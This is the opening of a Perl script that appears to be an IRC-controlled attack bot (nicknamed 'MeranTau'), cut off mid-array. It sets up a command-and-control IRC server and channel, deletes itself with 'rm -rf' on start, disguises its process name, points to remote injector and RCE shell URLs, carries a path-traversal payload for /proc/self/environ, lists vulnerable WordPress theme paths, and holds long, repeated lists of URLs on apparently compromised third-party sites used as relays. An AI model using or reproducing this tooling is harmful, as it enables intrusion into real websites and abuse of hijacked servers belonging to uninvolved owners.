#!/usr/bin/perl # use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); #use DBI; #use DBD::mysql; my $datetime = localtime; my $number = int(rand(100)); my $fakeproc = "/usr/sbin/fakeproc"; my $ircserver = "irc.merantau.org"; #my $ircserver = "irc.byroe.org"; #my $ircserver = "irc.byroe.org"; my $ircport = "6677"; my $nickname = "mRT"; my $ident = "Saya"; my $channel = "#meRANTAU"; my $chanxxx = "#meRANTAU"; my $admin = "sEm"; my $fullname = "MeranTau"; my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; my $nob0dy = "9,1[4!9]15[MeranTau]"; my $trycmd = "!g".$number.""; my $try1cmd = "!h".$number.""; my $try2cmd = "!f".$number.""; my $phpthumbcmd = "!p".$number.""; my $oscocmd = "!o".$number.""; my $timot = 10; my $silentmode = 0; my $fullname = "$number"; my $ngilang = "rm -rf"; qx($ngilang $0); my $hwdXpl = "http://www.daforatravel.ro/wordpress/injektor.php"; #"http://www.prssnijabar.or.id/public/prssni/injektor.php"; my $rceinjektor = "http://www.espat.co.kr/bbs///icon/rce.php"; my $osco_shell = "osco.jpg"; my @orgthem = ("/wp-content/themes/bordeaux-theme/","/wp-content/themes/agritourismo-theme/","/wp-content/themes/bulteno-theme/","/wp-content/themes/oxygen-theme","/wp-content/themes/radial-theme/","/wp-content/themes/rayoflight-theme/","/wp-content/themes/reganto-theme/","/wp-content/themes/rockstar-theme/"); my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"; my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000"; my @pgfa = ( "?q=http%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.de%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.uk%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ru%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ro%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.de%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ca%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.fr%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ru%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.fr%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.de%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ne%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.co.mz%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.de%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ru%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.ro%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.at%2Fsearch?q=","?q=http%3A%2F%2Fwww.google.nl%2Fsearch?q="); my $pgfa = $pgfa[rand(scalar(@pgfa))]; #my $pgfa = "?q=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jpath = "?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q="; #my $jack = "http://www.softq.co/errors.php?q=http%253A%252F%252Fwww.google.fr%252Fsearch?q="; #my $jackx = "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php?q=http%253A%252F%252Fwww.google.fr%252Fsearch?q=";#http://www.agropin.hr//wp-admin/error.php my $jackae = "https://unique-sportstime.de/shop/skin/install/default/errors.php?q=http%253A%252F%252Fwww.google.ae%252Fsearch?q="; my $jackar = "http://solihullsalesandlettings.com/errors/default/css/search.php?q=http%253A%252F%252Fwww.google.ar%252Fsearch?q="; my $jackat = "http://www.ursaminorvehicles.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.at%252Fsearch?q="; my $jackau = "http://cnsave.koray.cn/errors.php?q=http%253A%252F%252Fwww.google.au%252Fsearch?q="; my $jackbr = "http://www.masterlocksleutelkluis.nl/errors.php/js/lib/search.php?q=http%253A%252F%252Fwww.google.br%252Fsearch?q="; my $jackca = "http://patachou.com/js/lib/search.php?q=http%253A%252F%252Fwww.google.ca%252Fsearch?q="; my $jackcl = "http://ecom.wilburhuang.com/errors.php/js/lib/search.php?q=http%253A%252F%252Fwww.google.cl%252Fsearch?q="; my $jackcn = "http://www.ursaminorvehicles.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.cn%252Fsearch?q="; my $jackcom = "https://www.clematixdigital.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.com%252Fsearch?q="; my $jackcz = "http://www.mypgmee.com/media/catalog/product/2/error.php?q=http%253A%252F%252Fwww.google.cz%252Fsearch?q="; my $jackde = "http://bccdistribuidora.com.br/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.de%252Fsearch?q="; my $jackdk = "http://demo.ecommerce.facto.cl/magento/1.9/skin/errors.php?q=https%253A%252F%252Fwww.google.dk%252Fsearch?q="; my $jackes = "http://centralcaixas.com/mdf/errors.php?q=http%253A%252F%252Fwww.google.es%252Fsearch?q="; my $jackeu = "http://www.bazardakau.com.br/errors.php?q=http%253A%252F%252Fwww.google.eu%252Fsearch?q="; my $jackfr = "http://sales.luxxeen.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.fr%252Fsearch?q="; my $jackhu = "http://shardha.in/errors.php?q=http%253A%252F%252Fwww.google.hu%252Fsearch?q="; my $jackid = "http://www.exhibcouples.fr/errors.php?q=http%253A%252F%252Fwww.google.id%252Fsearch?q="; my $jackil = "http://www.tileandbathco.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.il%252Fsearch?q="; my $jackin = "http://www.oreillycarpentry.com/var/locks/error.php?q=http%253A%252F%252Fwww.google.in%252Fsearch?q="; my $jackinfo = "https://www.clematixdigital.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.info%252Fsearch?q="; my $jackir = "http://www.sapphireengagement.co.uk/errors.php?q=http%253A%252F%252Fwww.google.ir%252Fsearch?q="; my $jackit = "http://sifide.gob.mx/errors.php?q=http%253A%252F%252Fwww.google.it%252Fsearch?q="; my $jackjp = "http://www.tileandbathco.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.jp%252Fsearch?q="; my $jackkr = "http://www.dibbs.co.za/errors.php?q=http%253A%252F%252Fwww.google.kr%252Fsearch?q="; my $jackmx = "http://isnoffices.com/wp-content/themes/kim-remi/fonts/error.php?q=http%253A%252F%252Fwww.google.mx%252Fsearch?q="; my $jackmy = "http://www.energeticevolution.net/js/lib/search.php?q=http%253A%252F%252Fwww.google.my%252Fsearch?q="; my $jacknet = "http://solihullsalesandlettings.com/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.net%252Fsearch?q="; my $jacknl = "http://zlotohiszpanii.pl/skin/adminhtml/error.php?q=http%253A%252F%252Fwww.google.nl%252Fsearch?q="; my $jackorg = "http://www.shop.mitrapai.com/skin/errors.php?q=http%253A%252F%252Fwww.google.org%252Fsearch?q="; my $jackph = "http://dev2.etwebsolutions.com/magento/test/1901/errors.php?q=http%253A%252F%252Fwww.google.ph%252Fsearch?q="; my $jackpl = "http://www.oreillycarpentry.com/var/locks/error.php?q=https%253A%252F%252Fwww.google.pl%252Fsearch?q="; my $jackro = "http://chapmancycles.com/wp-admin/edit-link.php?q=http%253A%252F%252Fwww.google.ro%252Fsearch?q="; my $jackru = "http://khhalisi.com/media/errors.php?q=http%253A%252F%252Fwww.google.ru%252Fsearch?q="; my $jackth = "http://isnoffices.com/wp-content/themes/kim-remi/fonts/error.php?q=http%253A%252F%252Fwww.google.th%252Fsearch?q="; my $jackedu = "http://iweb365.co/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.edu%252Fsearch?q="; my $jackua = "http://www.mypgmee.com/media/catalog/product/2/search.php?q=http%253A%252F%252Fwww.google.ua%252Fsearch?q="; my $jackuk = "http://petbox.in//media/errors.php?q=http%253A%252F%252Fwww.google.uk%252Fsearch?q="; my $jackus = "http://iweb365.co/errors/default/css/error.php?q=http%253A%252F%252Fwww.google.us%252Fsearch?q="; my $jacksi = "http://www.eyeforce.com.tr/var/pass/search.php?____pgfa=http%253A%252F%252Fwww.google.si%252Fsearch?q="; my $jackbe = "http://www.thermona-ekb.ru/errors.php?q=http%253A%252F%252Fwww.google.be%252Fsearch?q="; my $jackbiz = "http://www.bendit.co/backside/media/mailto/error.php?q=http%253A%252F%252Fwww.google.biz%252Fsearch?q="; my @random = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random1 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random2 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random3 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", "http://dailyfresh.nu/errors.php", "http://worldofphones.net/wp-content/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php" ); my @random4 = ("http://quatrieme-internationale-posadiste.org/QIP//components/com_wrapper/errors.php", "http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://dominicanway.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.economicswork.ru//plugins/editors/errors.php", "http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.psyzpalucha.pl//components/com_alphacontent/assets/phpThumb/errors.php", "http://sellallmyideas.com/errors.php", "http://www.artiste-peintre-figuratif.com/huile-aquarelle//components/com_alphacontent/assets/phpThumb/errors.php", "http://www.glorybators.com/suarakebenaran//errors.php", "http://www.distribucija.altpro.hr/edita/tinymce/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb//errors.php", "http://www.multichem-robust.com//components/com_wrapper/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://rothwellscouts.com/media/mailto/error.php", "http://zemnoe.ru/wp-includes/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://www.ecomuseudelblat.cat/errors.php", "http://transplant.org.kw/errors.php", "http://dailyfresh.nu/Hotfrog/errors.php", "http://interminas.ddns.net/errors.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.orfej.si/components/com_mailto/error.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://therfw.com/wp-includes/error.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://gobll.pl/errors.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://transplant.org.kw/errors.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://www.sbagro.org.br/modules/mod_login/error.php", "http://www.flowershop-neo.com/wp-includes/error.php", "http://www.mondragonlingua.com/formacion/components/com_users/search.php", "http://exhibcouples.fr/errors.php", "http://iheld.com/errors.php", "http://www.kathleenferrari.com/errors.php", "http://www.amslight.com/errors.php", "http://pastorbonus.sk/errors.php", "http://www.stlukeshometucson.org/errors.php", "http://www.saboeiro.pt/errors.php", "http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://cccjamaica.org/cccj_main/media/mailto/error.php", "http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php", "http://www.tcfa1.net/errors.php", 